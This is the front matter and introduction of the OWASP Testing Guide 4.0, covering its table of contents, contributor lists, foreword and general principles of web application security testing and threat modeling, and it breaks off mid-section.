



Testing Guide

4.0

)release(



Project Leaders: Matteo Meucci and Andrew Muller

Creative Commons (CC) Attribution Share-Alike

Free version at <http://www.owasp.org>

Table of Contents

1. Frontispiece
2. Foreword
3. Introduction
4. The OWASP Testing Framework
5. Web Application Security Testing
 - i. Introduction and Objectives
 - i. Testing Checklist
 - ii. Information Gathering
 - i. Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)
 - ii. Fingerprint Web Server (OTG-INFO-002)
 - iii. Review Webserver Metafiles for Information Leakage (OTG-INFO-003)
 - iv. Enumerate Applications on Webserver (OTG-INFO-004)
 - v. Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005)
 - vi. Identify application entry points (OTG-INFO-006)
 - vii. Map execution paths through application (OTG-INFO-007)
 - viii. Fingerprint Web Application Framework (OTG-INFO-008)
 - ix. Fingerprint Web Application (OTG-INFO-009)
 - x. Map Application Architecture (OTG-INFO-010)
 - iii. Configuration and Deployment Management Testing
 - i. Test Network/Infrastructure Configuration (OTG-CONFIG-001)
 - ii. Test Application Platform Configuration (OTG-CONFIG-002)
 - iii. Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)
 - iv. Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)
 - v. Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)
 - vi. Test HTTP Methods (OTG-CONFIG-006)
 - vii. Test HTTP Strict Transport Security (OTG-CONFIG-007)
 - viii. Test RIA cross domain policy (OTG-CONFIG-008)
 - iv. Identity Management Testing
 - i. Test Role Definitions (OTG-IDENT-001)
 - ii. Test User Registration Process (OTG-IDENT-002)
 - iii. Test Account Provisioning Process (OTG-IDENT-003)
 - iv. Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)
 - v. Testing for Weak or unenforced username policy (OTG-IDENT-005)
 - v. Authentication Testing
 - i. Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)
 - ii. Testing for default credentials (OTG-AUTHN-002)
 - iii. Testing for Weak lock out mechanism (OTG-AUTHN-003)
 - iv. Testing for bypassing authentication schema (OTG-AUTHN-004)
 - v. Test remember password functionality (OTG-AUTHN-005)
 - vi. Testing for Browser cache weakness (OTG-AUTHN-006)
 - vii. Testing for Weak password policy (OTG-AUTHN-007)
 - viii. Testing for Weak security question/answer (OTG-AUTHN-008)
 - ix. Testing for weak password change or reset functionalities (OTG-AUTHN-009)
 - x. Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)
 - vi. Authorization Testing
 - i. Testing Directory traversal/file include (OTG-AUTHZ-001)
 - ii. Testing for bypassing authorization schema (OTG-AUTHZ-002)
 - iii. Testing for Privilege Escalation (OTG-AUTHZ-003)
 - iv. Testing for Insecure Direct Object References (OTG-AUTHZ-004)

- vii. Session Management Testing
 - i. Testing for Bypassing Session Management Schema (OTG-SESS-001)
 - ii. Testing for Cookies attributes (OTG-SESS-002)
 - iii. Testing for Session Fixation (OTG-SESS-003)
 - iv. Testing for Exposed Session Variables (OTG-SESS-004)
 - v. Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
 - vi. Testing for logout functionality (OTG-SESS-006)
 - vii. Test Session Timeout (OTG-SESS-007)
 - viii. Testing for Session puzzling (OTG-SESS-008)
- viii. Input Validation Testing
 - i. Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)
 - ii. Testing for Stored Cross Site Scripting (OTG-INPVAL-002)
 - iii. Testing for HTTP Verb Tampering (OTG-INPVAL-003)
 - iv. Testing for HTTP Parameter pollution (OTG-INPVAL-004)
 - v. Testing for SQL Injection (OTG-INPVAL-005)
 - i. Oracle Testing
 - ii. MySQL Testing
 - iii. SQL Server Testing
 - iv. Testing PostgreSQL (from OWASP BSP)
 - v. MS Access Testing
 - vi. Testing for NoSQL injection
 - vi. Testing for LDAP Injection (OTG-INPVAL-006)
 - vii. Testing for ORM Injection (OTG-INPVAL-007)
 - viii. Testing for XML Injection (OTG-INPVAL-008)
 - ix. Testing for SSI Injection (OTG-INPVAL-009)
 - x. Testing for XPath Injection (OTG-INPVAL-010)
 - xi. IMAP/SMTP Injection (OTG-INPVAL-011)
 - xii. Testing for Code Injection (OTG-INPVAL-012)
 - i. Testing for Local File Inclusion
 - ii. Testing for Remote File Inclusion
 - xiii. Testing for Command Injection (OTG-INPVAL-013)
 - xiv. Testing for Buffer overflow (OTG-INPVAL-014)
 - i. Testing for Heap overflow
 - ii. Testing for Stack overflow
 - iii. Testing for Format string
 - xv. Testing for incubated vulnerabilities (OTG-INPVAL-015)
 - xvi. Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
- ix. Testing for Error Handling
 - i. Analysis of Error Codes (OTG-ERR-001)
 - ii. Analysis of Stack Traces (OTG-ERR-002)
- x. Testing for weak Cryptography
 - i. Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)
 - ii. Testing for Padding Oracle (OTG-CRYPST-002)
 - iii. Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)
- xi. Business Logic Testing
 - i. Test Business Logic Data Validation (OTG-BUSLOGIC-001)
 - ii. Test Ability to Forge Requests (OTG-BUSLOGIC-002)
 - iii. Test Integrity Checks (OTG-BUSLOGIC-003)
 - iv. Test for Process Timing (OTG-BUSLOGIC-004)
 - v. Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)
 - vi. Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)
 - vii. Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)
 - viii. Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

- ix. Test Upload of Malicious Files (OTG-BUSLOGIC-009)
- xii. Client Side Testing
 - i. Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)
 - ii. Testing for JavaScript Execution (OTG-CLIENT-002)
 - iii. Testing for HTML Injection (OTG-CLIENT-003)
 - iv. Testing for Client Side URL Redirect (OTG-CLIENT-004)
 - v. Testing for CSS Injection (OTG-CLIENT-005)
 - vi. Testing for Client Side Resource Manipulation (OTG-CLIENT-006)
 - vii. Test Cross Origin Resource Sharing (OTG-CLIENT-007)
 - viii. Testing for Cross Site Flashing (OTG-CLIENT-008)
 - ix. Testing for Clickjacking (OTG-CLIENT-009)
 - x. Testing WebSockets (OTG-CLIENT-010)
 - xi. Test Web Messaging (OTG-CLIENT-011)
 - xii. Test Local Storage (OTG-CLIENT-012)
- 6. Reporting
- 7. Appendix
 - i. Appendix A: Testing Tools
 - ii. Appendix B: Suggested Reading
 - iii. Appendix C: Fuzz Vectors
 - iv. Appendix D: Encoded Injection

Frontispiece

Welcome to the OWASP Testing Guide 4.0

“Open and collaborative knowledge: that is the OWASP way.”

With V4 we realized a new guide that will be the standard de-facto guide to perform Web Application Penetration Testing. --

[Matteo Meucci](#)

OWASP thanks the many authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Testing Guide, please e-mail the Testing Guide mail list:

<http://lists.owasp.org/mailman/listinfo/owasp-testing>

Or drop an e-mail to the project leaders: [Andrew Muller Matteo Meucci](#)

Version 4.0

The OWASP Testing Guide version 4 improves on version 3 in three ways:

1. This version of the Testing Guide integrates with the two other flagship OWASP documentation products: the Developers Guide and the Code Review Guide. To achieve this we aligned the testing categories and test numbering with those in other OWASP products. The aim of the Testing and Code Review Guides is to evaluate the security controls described by the Developers Guide.
2. All chapters have been improved and test cases expanded to 87 (64 test cases in v3) including the introduction of four new chapters and controls:
 - Identity Management Testing
 - Error Handling
 - Cryptography
 - Client Side Testing
3. This version of the Testing Guide encourages the community not to simply accept the test cases outlined in this guide. We encourage security testers to integrate with other software testers and devise test cases specific to the target application. As we find test cases that have wider applicability we encourage the security testing community to share them and contribute them to the Testing Guide. This will continue to build the application security body of knowledge and allow the development of the Testing Guide to be an iterative rather than monolithic process.

Copyright and License

Copyright (c) 2014 The OWASP Foundation.

This document is released under the [Creative Commons 2.5 License](#). Please read and understand the license and copyright conditions.

Revision History

The Testing Guide v4 will be released in 2014. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. Matteo Meucci has taken on the Testing guide and is now the lead of the OWASP Testing Guide Project. From 2012 Andrew Muller co-leadership the project with Matteo Meucci.

2014

- "OWASP Testing Guide", Version 4.0

15th September, 2008

- "OWASP Testing Guide", Version 3.0

December 25, 2006

- "OWASP Testing Guide", Version 2.0

July 14, 2004

- "OWASP Web Application Penetration Checklist", Version 1.1

December 2004

- "The OWASP Testing Guide", Version 1.0

Editors

Andrew Muller: OWASP Testing Guide Lead since 2013.

Matteo Meucci: OWASP Testing Guide Lead since 2007.

Eoin Keary: OWASP Testing Guide 2005-2007 Lead.

Daniel Cuthbert: OWASP Testing Guide 2003-2005 Lead.

v4 Authors

- Matteo Meucci
- Pavol Luptak
- Marco Morana
- Giorgio Fedon
- Stefano Di Paola
- Gianrico Ingrosso
- Giuseppe Bonfà
- Andrew Muller
- Robert Winkel
- Roberto Suggi Liverani
- Robert Smith
- Tripurari Rai
- Thomas Ryan
- Tim Bertels
- Cecil Su
- Aung KhAnt
- Norbert Szetei
- Michael Boman
- Wagner Elias
- Kevin Horvat

- Tom Brennan
- Juan Galiana Lara
- Sumit Siddharth
- Mike Hryekewicz
- Simon Bennetts
- Ray Schippers
- Raul Siles
- Jayanta Karmakar
- Brad Causey
- Vicente Aguilera
- Ismael Gonçalves
- David Fern
- Tom Eston
- Kevin Horvath
- Rick Mitchell
- Eduardo Castellanos
- Simone Onofri
- Harword Sheen
- Amro AlOlaqi
- Suhas Desai
- Ryan Dewhurst
- Zaki Akhmad
- Davide Danelon
- Alexander Antukh
- Thomas Kalamaris
- Alexander Vavousis
- Clerkendweller
- Christian Heinrich
- Babu Arokiadas
- Rob Barnes
- Ben Walther

v4 Reviewers

- Davide Danelon
- Andrea Rosignoli
- Irene Abezgauz
- Lode Vanstechelman
- Sebastien Gioria
- Yiannis Pavlosoglou
- Aditya Balapure

v3 Authors

- Anurag Agarwwal
- Daniele Bellucci
- Ariel Coronel
- Stefano Di Paola
- Giorgio Fedon
- Adam Goodman
- Christian Heinrich
- Kevin Horvath
- Gianrico Ingrosso

- Roberto Suggi Liverani
- Kuza55
- Pavol Luptak
- Ferruh Mavituna
- Marco Mella
- Matteo Meucci
- Marco Morana
- Antonio Parata
- Cecil Su
- Harish Skanda Sureddy
- Mark Roxberry
- Andrew Van der Stock

v3 Reviewers

- Marco Cova
- Kevin Fuller
- Matteo Meucci
- Nam Nguyen
- Rick Mitchell

v2 Authors

- Vicente Aguilera
- Mauro Bregolin
- Tom Brennan
- Gary Burns
- Luca Carettoni
- Dan Cornell
- Mark Curphey
- Daniel Cuthbert
- Sebastien Deleersnyder
- Stephen DeVries
- Stefano Di Paola
- David Endler
- Giorgio Fedon
- Javier Fernández-Sanguino
- Glyn Geoghegan
- Stan Guzik
- Madhura Halasgikar
- Eoin Keary
- David Litchfield
- Andrea Lombardini
- Ralph M. Los
- Claudio Merloni
- Matteo Meucci
- Marco Morana
- Laura Nunez
- Gunter Ollmann
- Antonio Parata
- Yiannis Pavlosoglou
- Carlo Pelliccioni
- Harinath Pudipeddi

- Alberto Revelli
- Mark Roxberry
- Tom Ryan
- Anush Shetty
- Larry Shields
- Dafydd Studdard
- Andrew van der Stock
- Ariel Waissbein
- Jeff Williams
- Tushar Vartak

v2 Reviewers

- Vicente Aguilera
- Marco Belotti
- Mauro Bregolin
- Marco Cova
- Daniel Cuthbert
- Paul Davies
- Stefano Di Paola
- Matteo G.P. Flora
- Simona Forti
- Darrell Groundy
- Eoin Keary
- James Kist
- Katie McDowell
- Marco Mella
- Matteo Meucci
- Syed Mohamed A.
- Antonio Parata
- Alberto Revelli
- Mark Roxberry
- Dave Wichers

Trademarks

- Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.
- Merriam-Webster is a trademark of Merriam-Webster, Inc.
- Microsoft is a registered trademark of Microsoft Corporation.
- Octave is a service mark of Carnegie Mellon University.
- VeriSign and Thawte are registered trademarks of VeriSign, Inc.
- Visa is a registered trademark of VISA USA.
- OWASP is a registered trademark of the OWASP Foundation

All other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Foreword by [Eoin Keary](#), OWASP Global Board

The problem of insecure software is perhaps the most important technical challenge of our time. The dramatic rise of web applications enabling business, social networking etc has only compounded the requirements to establish a robust approach to writing and securing our Internet, Web Applications and Data.

At The Open Web Application Security Project (OWASP), we're trying to make the world a place where insecure software is the anomaly, not the norm. The OWASP Testing Guide has an important role to play in solving this serious issue. It is vitally important that our approach to testing software for security issues is based on the principles of engineering and science. We need a consistent, repeatable and defined approach to testing web applications. A world without some minimal standards in terms of engineering and technology is a world in chaos.

It goes without saying that you can't build a secure application without performing security testing on it. Testing is part of a wider approach to building a secure system. Many software development organizations do not include security testing as part of their standard software development process. What is even worse is that many security vendors deliver testing with varying degrees of quality and rigor.

Security testing, by itself, isn't a particularly good stand alone measure of how secure an application is, because there are an infinite number of ways that an attacker might be able to make an application break, and it simply isn't possible to test them all. We can't hack ourselves secure and we only have a limited time to test and defend where an attacker does not have such constraints.

In conjunction with other OWASP projects such as the Code review Guide, the Development Guide and tools such as OWASP ZAP, this is a great start towards building and maintaining secure applications. The [Development Guide](#) will show your project how to architect and build a secure application, the [Code Review Guide](#) will tell you how to verify the security of your application's source code, and this [Testing Guide](#) will show you how to verify the security of your running application. I highly recommend using these guides as part of your application security initiatives.

Why OWASP?

Creating a guide like this is a huge undertaking, requiring the expertise of hundreds of people around the world. There are many different ways to test for security flaws and this guide captures the consensus of the leading experts on how to perform this testing quickly, accurately, and efficiently. OWASP gives like minded security folks the ability to work together and form a leading practice approach to a security problem.

The importance of having this guide available in a completely free and open way is important for the foundations mission. It gives anyone the ability to understand the techniques used to test for common security issues. Security should not be a black art or closed secret that only a few can practice. It should be open to all and not exclusive to security practitioners but also QA, Developers and Technical Managers. The project to build this guide keeps this expertise in the hands of the people who need it - you, me and anyone that is involved in building software.

This guide must make its way into the hands of developers and software testers. There are not nearly enough application security experts in the world to make any significant dent in the overall problem. The initial responsibility for application security must fall on the shoulders of the developers, they write the code. It shouldn't be a surprise that developers aren't producing secure code if they're not testing for it or consider the types of bugs which introduce vulnerability.

Keeping this information up to date is a critical aspect of this guide project. By adopting the wiki approach, the OWASP community can evolve and expand the information in this guide to keep pace with the fast moving application security threat landscape.

This Guide is a great testament to the passion and energy our members and project volunteers have for this subject. It shall certainly help change the world a line of code at a time.

Tailoring and Prioritizing

You should adopt this guide in your organization. You may need to tailor the information to match your organization's technologies, processes, and organizational structure.

In general there are several different roles within organizations that may use this guide:

- Developers should use this guide to ensure that they are producing secure code. These tests should be a part of normal code and unit testing procedures.
- Software testers and QA should use this guide to expand the set of test cases they apply to applications. Catching these vulnerabilities early saves considerable time and effort later.
- Security specialists should use this guide in combination with other techniques as one way to verify that no security holes have been missed in an application.
- Project Managers should consider the reason this guide exists and that security issues are manifested via bugs in code and design.

The most important thing to remember when performing security testing is to continuously re-prioritize. There are an infinite number of possible ways that an application could fail, and organizations always have limited testing time and resources. Be sure time and resources are spent wisely. Try to focus on the security holes that are a real risk to your business. Try to contextualize risk in terms of the application and its use cases.

This guide is best viewed as a set of techniques that you can use to find different types of security holes. But not all the techniques are equally important. Try to avoid using the guide as a checklist, new vulnerabilities are always manifesting and no guide can be an exhaustive list of "things to test for", but rather a great place to start.

The Role of Automated Tools

There are a number of companies selling automated security analysis and testing tools. Remember the limitations of these tools so that you can use them for what they're good at. As Michael Howard put it at the [2006 OWASP AppSec Conference in Seattle](#).

"Tools do not make software secure! They help scale the process and help enforce policy."

Most importantly, these tools are generic - meaning that they are not designed for your custom code, but for applications in general. That means that while they can find some generic problems, they do not have enough knowledge of your application to allow them to detect most flaws. In my experience, the most serious security issues are the ones that are not generic, but deeply intertwined in your business logic and custom application design.

These tools can also be seductive, since they do find lots of potential issues. While running the tools doesn't take much time, each one of the potential problems takes time to investigate and verify. If the goal is to find and eliminate the most serious flaws as quickly as possible, consider whether your time is best spent with automated tools or with the techniques described in this guide. Still, these tools are certainly part of a well-balanced application security program. Used wisely, they can support your overall processes to produce more secure code.

Call to Action

If you're building, designing or testing software, I strongly encourage you to get familiar with the security testing guidance in this document. It is a great road map for testing the most common issues facing applications today, but it is not exhaustive. If you find errors, please add a note to the discussion page or make the change yourself. You'll be helping thousands of others who use this guide.

Please consider [joining us](#) as an individual or corporate member so that we can continue to produce materials like this

testing guide and all the other great projects at OWASP.

Thank you to all the past and future contributors to this guide, your work will help to make applications worldwide more secure.

--[Eoin Keary](#), OWASP Board Member, April 19, 2013

Testing Guide Introduction

The OWASP Testing Project

The OWASP Testing Project has been in development for many years. The aim of the project is to help people understand the *what, why, when, where, and how* of testing web applications. The project has delivered a complete testing framework, not merely a simple checklist or prescription of issues that should be addressed. Readers can use this framework as a template to build their own testing programs or to qualify other people's processes. The Testing Guide describes in detail both the general testing framework and the techniques required to implement the framework in practice.

Writing the Testing Guide has proven to be a difficult task. It was a challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.

However, the group is very satisfied with the results of the project. Many industry experts and security professionals, some of whom are responsible for software security at some of the largest companies in the world, are validating the testing framework. This framework helps organizations test their web applications in order to build reliable and secure software. The framework does not simply highlighting areas of weakness, although the latter is certainly a by product of many of the OWASP guides and checklists. As such, hard decisions had to be made about the appropriateness of certain testing techniques and technologies. The group fully understands that not everyone will agree upon all of these decisions. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.

The rest of this guide is organized as follows: This introduction covers the pre-requisites of testing web applications and the scope of testing. It also covers the principles of successful testing and testing techniques. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.

Measuring Security: the Economics of Insecure Software

A basic tenet of software engineering is that you can't control what you can't measure [1]. Security testing is no different. Unfortunately, measuring security is a notoriously difficult process. This topic will not be covered in detail here, as it would take a guide on its own (for an introduction, see [2]).

One aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent a certain vulnerability is) and how these issues affect the economics of software. Most technical people will at least understand the basic issues, or they may have a deeper understanding of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner's business. Until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security.

While estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about \$22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts.

The framework described in this document encourages people to measure security throughout the entire development process. They can then relate the cost of insecure software to the impact it has on the business, and consequently develop

appropriate business processes and assign resources to manage the risk. Remember that measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.

What is Testing?

During the development life cycle of a web application many things need to be tested, but what does testing actually mean? The Merriam-Webster Dictionary describes testing as:

- To put to test or proof.
- To undergo a test.
- To be assigned a standing or evaluation based on tests.

For the purposes of this document testing is a process of comparing the state of a system or application against a set of criteria. In the security industry people frequently test against a set of mental criteria that are neither well defined nor complete. As a result of this, many outsiders regard security testing as a black art. The aim of this document is to change that perception and to make it easier for people without in-depth security knowledge to make a difference in testing.

Why Perform Testing?

This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that need to be undertaken to build and operate a testing program on web applications. The guide gives a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference guide and as a methodology to help determine the gap between existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test and maintain software, or to prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review, will be covered in the remaining parts of this document.

When to Test?

Most people today don't test software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artefacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.




Figure 1: Generic SDLC Model

Companies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.

What to Test?

It can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that "create" software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.

An effective testing program should have components that test:

- *People* – to ensure that there is adequate education and awareness;
- *Process* – to ensure that there are adequate policies and standards and that people know how to follow these policies;
- *Technology* – to ensure that the process has been effective in its implementation.

Unless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment.

Denis Verdon, Head of Information Security at [Fidelity National Financial](#) presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York [5]: "If cars were built like applications [...] safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft."

Feedback and Comments

As with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.

Principles of Testing

There are some common misconceptions when developing a testing methodology to find security bugs in software. This chapter covers some of the basic principles that professionals should take into account when performing security tests on software.

There is No Silver Bullet

While it is tempting to think that a security scanner or application firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments or providing adequate test coverage. Remember that security is a process and not a product.

Think Strategically, Not Tactically

Over the last few years, security professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990's. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. For more information about the window of vulnerability please refer to [6].

Vulnerability studies [7] have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year.

There are several incorrect assumptions in the patch-and-penetrate model. Many users believe that patches interfere with normal operations and might break existing applications. It is also incorrect to assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because they think patching may interfere with how the software works or because they lack knowledge about the existence of the patch.




Figure 2: Window of Vulnerability

It is essential to build security into the Software Development Life Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.

The SDLC is King

The SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.

There are several secure SDLC frameworks that exist that provide both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC process. Essentially, prescriptive advice shows how the secure SDLC should work, and descriptive advice shows how its used in the real world. Both have their place. For example, if you don't know where to start, a prescriptive framework can provide a menu of potential security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has worked well for other organizations. Descriptive secure SDLCs include BSIMM-V; and the prescriptive secure SDLCs include OWASP's Open Software Assurance Maturity Model (OpenSAMM) and ISO/IEC 27034 Parts 1-8, parts of which are still in development.

Test Early and Test Often

When a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA teams about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages can help design better programs (with fewer security bugs), new threats arise constantly and developers must be aware of the threats that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker's perspective. This allows each organization to consider security issues as part of their existing responsibilities.

Understand the Scope of Security

It is important to know how much security a given project will require. The information and assets that are to be protected should be given a classification that states how they are to be handled (e.g., confidential, secret, top secret). Discussions should occur with legal council to ensure that any specific security requirements will be met. In the USA requirements might come from federal regulations, such as the Gramm-Leach-Bliley Act [8], or from state laws, such as the California SB-1386 [9]. For organizations based in EU countries, both country-specific regulation and EU Directives may apply. For example, Directive 96/46/EC4 [10] makes it mandatory to treat personal data in applications with due care, whatever the application.

Develop the Right Mindset

Successfully testing an application for security vulnerabilities requires thinking "outside of the box." Normal use cases will test the normal behavior of the application when a user is using it in the manner that is expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find what assumptions made by web developers are not always true and how they can be subverted. One of the reasons why automated tools are actually bad at automatically testing for vulnerabilities is that this creative thinking must be done on a case-by-case basis as most web applications are being developed in a unique way (even when using common frameworks).

Understand the Subject

One of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, etc, should be written in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use case. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization's applications and network (e.g., IDS systems).

Use the Right Tools

While we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. However, it is important to understand exactly what these tools can and cannot do so that they are not oversold or used incorrectly.

The Devil is in the Details

It is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positive that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.

Use Source Code When Available

While black box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure an application. It is difficult for dynamic testing to test the entire code base, particularly if many nested conditional statements exist. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black box engagement.

Develop Metrics

An important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization.

Good metrics will show:

- If more education and training are required;
- If there is a particular security mechanism that is not clearly understood by the development team;
- If the total number of security related problems being found each month is going down.

Consistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations is a good starting point.

Document the Test Results

To conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they were performed, and details of the test findings. It is wise to agree on an acceptable format for the report which is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance.

The report should be clear to the business owner in identifying where material risks exist and sufficient to get their backing for subsequent mitigation actions. The report should also be clear to the developer in pin-pointing the exact function that is affected by the vulnerability and associated recommendations for resolving issues in a language that the developer will understand. The report should also allow another security tester to reproduce the results. Writing the report should not be overly burdensome on the security tester themselves. Security testers are not generally renowned for their creative writing skills and agreeing on a complex report can lead to instances where test results do not get properly documented. Using a security test report template can save time and ensure that results are documented accurately and consistently, and are in a format that is suitable for the audience.

Testing Techniques Explained

This section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques as this information is covered in Chapter 3. This section is included to provide context for the framework presented in the next chapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:

- Manual Inspections & Reviews
- Threat Modeling
- Code Review
- Penetration Testing

Manual Inspections & Reviews

Overview

Manual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners.

While the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, the tester can quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place.

As with many things in life, when conducting manual inspections and reviews it is recommended that a trust-but-verify model is adopted. Not everything that the tester is shown or told will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application.

Other activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.

Advantages:

- Requires no supporting technology
- Can be applied to a variety of situations
- Flexible
- Promotes teamwork
- Early in the SDLC

Disadvantages:

- Can be time consuming
- Supporting material not always available
- Requires significant human thought and skill to be effective

Threat Modeling

Overview

Threat modeling has become a popular technique to help system designers think about the security threats that their systems and applications might face. Therefore, threat modeling can be seen as risk assessment for applications. In fact, it enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses.

To develop a threat model, we recommend taking a simple approach that follows the NIST 800-30 [11] standard for risk assessment. This approach involves:

- Decomposing the application – use a process of manual inspection to understand how the application works, its assets, functionality, and connectivity.
